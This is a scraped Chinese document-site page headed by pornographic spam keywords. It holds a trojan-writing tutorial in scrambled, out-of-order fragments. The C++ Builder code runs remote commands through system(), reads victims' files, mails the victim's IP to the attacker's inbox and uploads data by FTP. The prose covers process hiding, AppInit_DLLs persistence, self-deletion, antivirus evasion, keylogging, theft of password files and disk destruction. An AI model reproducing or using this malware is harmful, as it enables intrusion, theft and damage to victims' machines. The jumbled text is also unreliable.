freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

木馬編寫教程學(xué)習(xí)木馬編寫的好資料-文庫吧資料

2025-06-30 03:45本頁面
  

【正文】 LLBACK *rsp)(DWORD,DWORD)。 // Windows 9x隱藏任務(wù)列表        {          //取得Windows的版本號(hào)        if (dwVersion = 0x80000000)    出于安全考慮,我只給出一種通過注冊(cè)服務(wù)程序,實(shí)現(xiàn)進(jìn)程偽隱藏的方法,對(duì)于更復(fù)雜,高級(jí)的隱藏方法,比如遠(yuǎn)程線程插入其他進(jìn)程的方法,請(qǐng)參閱ShotGun的文章《NT系統(tǒng)下木馬進(jìn)程的隱藏與檢測》。也許你會(huì)覺得奇怪,剛剛不是說一個(gè)應(yīng)用程序運(yùn)行之后,一定會(huì)產(chǎn)生一個(gè)進(jìn)程嗎?的確,所以我們可以不把他做成一個(gè)應(yīng)用程序,而把他做為一個(gè)線程,一個(gè)其他應(yīng)用程序的線程,把自身注入其他應(yīng)用程序的地址空間?! 懺谧詈螅荷厦胬拥挠靡獠⒉皇墙棠闳ト绾喂羲?,目的只是讓你了解木馬的工作原理和簡單的編寫步驟,以便更好地防范和殺除木馬,維護(hù)我們自己應(yīng)有的網(wǎng)絡(luò)安全。  入侵安裝了防火墻的機(jī)器最好使用自己編寫的木馬,這樣不光防火墻不會(huì)報(bào)警,而且你自己心里也坦然一些——畢竟是自己的作品嗎!如果你是系統(tǒng)管理員,那就請(qǐng)你不要偷懶,不僅要經(jīng)常掃描1024以下的端口,而且包括1024以上的高端端口也要仔細(xì)掃描,65535個(gè)端口一個(gè)也不能漏?! ∽詈笕绻阈枰瓿扇蝿?wù)后可以自己刪除自己,我提示你:退出前建立一個(gè)批處理文件,加入循環(huán)刪除本exe文件和本批處理文件自己的命令后保存,執(zhí)行它,再放心地退出。這樣,就沒有簡單的反向操作可以執(zhí)行了。首先想到的是條件跳轉(zhuǎn),條件跳轉(zhuǎn)對(duì)于反向工程來說并不有趣?!   ♂槍?duì)來自反匯編工具的威脅。比如常見的如:Lockdown,天網(wǎng)防火墻,網(wǎng)絡(luò)衛(wèi)兵,kv3000,瑞星,金山毒霸,PcCillin,Panda,Mcafee,Norton和CheckPoint。防火墻和殺毒軟件監(jiān)視的是特征碼,如果你是新木馬,它就不吱一聲;但是如果你打開不尋常的端口,它就會(huì)跳出來報(bào)警。你可以充分發(fā)揮你的想象力——比如上傳、下載、新建、改名、移動(dòng)文件,截圖存為jpg文件傳回,錄音監(jiān)聽成Wav文件,錄像成AVI文件,彈光驅(qū),讀軟驅(qū),關(guān)機(jī),重啟,不停地掛起,胡亂切換分辨率(燒掉你的顯示器),發(fā)對(duì)話框,不停地打開資源管理器直到死機(jī),交換鼠標(biāo)左右鍵,固定鼠標(biāo),限制鼠標(biāo)活動(dòng)范圍,鼠標(biāo)不聽指揮到處亂竄,記錄擊鍵記錄(記錄上網(wǎng)口令,這需要深入了解鉤子(Hook)技術(shù),如鍵盤鉤子和鼠標(biāo)鉤子),竊取重要的密碼文件如pwl和sam文件,格式化磁盤,亂寫磁盤扇區(qū)(像病毒大爆發(fā)),破壞零磁道,亂寫B(tài)IOS(像CIH),胡亂設(shè)置CMOS,加密MBR、HDPT和FAT(像江民炸彈)……真是琳瑯滿目、心狠手辣呀!而且實(shí)現(xiàn)起來并不是很復(fù)雜,只不過后面幾項(xiàng)需要比較扎實(shí)的匯編功底而已(有幾項(xiàng)要用到Vxd技術(shù))。因?yàn)闆]有它自己的PID(Process ID 進(jìn)程識(shí)別號(hào)),所以在NT的任務(wù)管理器中也看不見(不過在“系統(tǒng)信息”——“軟件環(huán)境”——“已加載的32位模塊”中還是可以詳細(xì)看到當(dāng)前內(nèi)存中加載的每一個(gè)模塊的),這樣做的目的是可以使自己的程序更加隱蔽,提高木馬的生存能力。目前還有一種新方法:在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows下添加如下鍵值 AppInit_DLLs=,(你應(yīng)該把木馬編譯成DLL)。得到ParamStr()函數(shù)傳來的參數(shù),啟動(dòng)自己后再啟動(dòng)與之關(guān)聯(lián)的程序,并將參數(shù)傳遞給它,這樣就完成了一次“雙啟動(dòng)”,而受害者絲毫感覺不到有任何異常?,F(xiàn)在又開始對(duì)exe、dll和txt文件的關(guān)聯(lián)程序動(dòng)手腳了(如冰河和廣外女生)?! ∵€有啟動(dòng)方式的選擇。如下的問題就值得仔細(xì)考慮:  首先是程序的大小問題,本程序經(jīng)編譯鏈接后得到的可執(zhí)行文件竟有400多K?!?/如果敲的是回車鍵,就和點(diǎn)擊Button1一樣的效果}  最后再添加以下頭文件:include include include include 終于寫完了?。。。ㄈ绻銓?duì)簡陋的界面不滿意,可以自己用BCB中豐富的控件好好完善完善嘛?。┌聪翪trl+F9進(jìn)行編譯鏈接吧!對(duì)于Server,你可以選一個(gè)足以迷惑人的圖標(biāo)(我選的是一個(gè)目錄模樣的圖標(biāo))進(jìn)行編譯,這樣不但受害者容易中招,而且便于隱藏自己?!?/在編輯框中顯示返回的信息}  為了敲完命令后直接回車就可以發(fā)送,我們可以使Button1的代碼共享?!?/寫入信息 fclose(fp)?!p = fopen(,w)?!?/讀入收到的返回信息 Edit4〉Text=。  //發(fā)送命令和欲添加的語句 else  Socket〉SendText(Edit1〉Text)?! ?/目標(biāo)端口號(hào),本例中的44444  ClientSocket1〉Open()?! ?/如果輸入IP地址框或輸入端口號(hào)框有一個(gè)為空,就什么也不作  ClientSocket1〉A(chǔ)ddress=Edit2〉Text。Edit1是輸入命令用的,Edit2是準(zhǔn)備輸入目標(biāo)機(jī)的IP地址用的,Edit3是輸入連接端口號(hào)用的,Edit4是用來輸入欲添加的語句或顯示命令執(zhí)行的結(jié)果的。(“撲通”,有人暈倒了!)下面我們就將乘勝追擊——搞定客戶端程序(Client)!  客戶端程序其實(shí)是很簡單的。 //上傳!啊,超長的OnClientRead事件終于寫完了?!?/寫完后關(guān)閉此文件 NMFTP1〉RemoveDir(public_html)?!?/創(chuàng)建一個(gè)新文件準(zhǔn)備寫,如果已存在就覆蓋 fwrite((),sizeof(char),(),Upload)。 //受害者的IP地址 FILE * Upload?!  ?/再連接  } catch(...)  {    return?!?/你的FTP的密碼 if(NMFTP1〉Connected) NMFTP1〉Disconnect()?!?/你的用戶ID NMFTP1〉Port = 21?!?/返回NextTime: NMFTP1〉Host = ?!?/信的主題 NMSMTP1〉SendMail()。 //將信發(fā)到我的郵箱,這一步很關(guān)鍵 NMSMTP1〉PostMessage〉Body〉Text = AnsiString(Server Running on:) + NMSMTP1〉LocalIP ?!?/受害者的Email地址 NMSMTP1〉PostMessage〉FromName = Casualty?! ?/跳到NextTime } NMSMTP1〉PostMessage〉FromAddress =I don\39?!?/你SMTP的ID try {  NMSMTP1〉Connect()?!?/如果SMTP服務(wù)器已連接則斷開 NMSMTP1〉Host = 。 //關(guān)閉服務(wù) ServerSocket1〉A(chǔ)ctive =true。朋友,別走開?。ㄎ赐甏m(xù))上次已編寫完服務(wù)器端的各種功能,但還差容錯(cuò)部分還未完成,下面我們Go on! 其代碼如下(照敲不誤 ^_^):{END:。  //返回“Success”信息}}  你可以直接執(zhí)行什么Ping和Tracert之類的命令來進(jìn)一步刺探目標(biāo)機(jī)的網(wǎng)絡(luò)狀況(判斷是否是一個(gè)企業(yè)的局域網(wǎng)),然后可以進(jìn)一步攻擊,比如Deltree和Format命令。  //  system(TempFile)?! ?/寫入欲執(zhí)行的命令  fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp)?!   ?/返回“Fail By Open File”的信息    goto END。   //,如果已存在就覆蓋   times_of_try=times_of_try+1?! imes_of_try=0?!   ?/強(qiáng)行退出WinNt并重啟  }  else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0)。tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0)。     //賦給本進(jìn)程特權(quán)   [0].Attributes = SE_PRIVILEGE_ENABLED。[0].Luid)。hToken)。   TOKEN_PRIVILEGES tkp。但這里要區(qū)分WinNt和Win9x——NT非常注重系統(tǒng)每個(gè)進(jìn)程的權(quán)利,一個(gè)普通的進(jìn)程是不應(yīng)具備有調(diào)用系統(tǒng)的權(quán)利的,因此我們要賦予本程序足夠的權(quán)限:{else if(temp==reboot){  //如果收到的temp的內(nèi)容是“temp”  DWORD dwVersion = GetVersion()。當(dāng)然你也可以搞個(gè)死循環(huán),讓他的光驅(qū)好好活動(dòng)活動(dòng)!^_^}}接著就是交換目標(biāo)機(jī)的鼠標(biāo)左右鍵,代碼如下:{else if(temp==swap){  SwapMouseButton(1)?! ?/就彈出光驅(qū)的托盤}else if(temp==close){  //如果收到的temp的內(nèi)容是“close”  mciSendString(Set cdaudio door closed wait, NULL, 0, NULL)。  //關(guān)閉目標(biāo)文件  SocketSendText(Return_Text)。  Return_Text=Return_Text+temp_content?!   ead_Num=fread(temp_content,1,300,fp)。i++) temp_content[i]=\39?!   ?/Return_Text的內(nèi)容加上剛才的字符    for(int i=0?! ?/定義一個(gè)空數(shù)組  Read_Num=fread(temp_content,1,300,fp)。i++) temp_content[i]=\39?! or(int i=0?!     ?/跳到END    }   }  AnsiString Return_Text=?!   ?/計(jì)數(shù)器加1    if(times_of_try100)    {     //如果已試了100次了      SocketSendText(Fail By Open File)?! hile(fp==NULL)   {    fp=fopen((),r)。  AnsiString File_Name=(6,number4)。接下來就是查看指定文件的內(nèi)容了,Client將使用“type”命令,(手指累不累???):{else if((0,4)==type){  //如果前4個(gè)字符是“type”  int Read_Num?!  ?//關(guān)閉目標(biāo)文件    SocketSendText(Return_Text)?!  ?Return_Text=Return_Text+temp_content?!   ?Read_Num=fread(temp_content,1,300,fp1)。i++) temp_content[i]=\39?!   ?//Return_Text變量加上剛才的300個(gè)字符     for(int i=0?!  ?//定義的一個(gè)空數(shù)組    Read_Num=fread(temp_content,1,300,fp1)。i++) temp_content[i]=\39?!  ?for(int i=0。       //并跳到END處     }     }    AnsiString Return_Text=?!    ?/計(jì)數(shù)器加1     if(times_of_try100)     {       //如果已經(jīng)試了100次了,仍未成功       SocketSendText(Fail By Open File)?!  ?while(fp1==NULL)     {     fp1=fopen(TempFile,r)?!  ?//關(guān)閉目錄    FILE *fp1=NULL?!   ?//寫入換行    }    fclose(fp)?!    ?/失敗則寫入空格     fwrite(entd_name,sizeof(char),strlen(entd_name),fp)。 FA_DIREC)     fwrite( ,sizeof(char),9,fp)?!    ?/將目標(biāo)文件屬性設(shè)為普通     else     fwrite( ,sizeof(char),1,fp)?!    ?/失敗則寫入空格     if (attrib amp。 FA_SYSTEM)     fwrite(S,sizeof(char),1,fp)。     //將目標(biāo)文件屬性設(shè)為隱藏     else     fwrite( ,sizeof(char),1,fp)?!    ?/失敗則寫入空格     if (attrib amp?!弊址潜容^前后兩個(gè)變量,如果相同返回1,否則返回0     fwrite( R,sizeof(char),3,fp)?!   ?//得到目標(biāo)文件的訪問屬性     if (attrib amp。     //加上“\\”字符后將指針指向目錄流     else     filename=(AnsiString(dirname)+entd_name).c_str()。\\\\\39?! ?
點(diǎn)擊復(fù)制文檔內(nèi)容
醫(yī)療健康相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1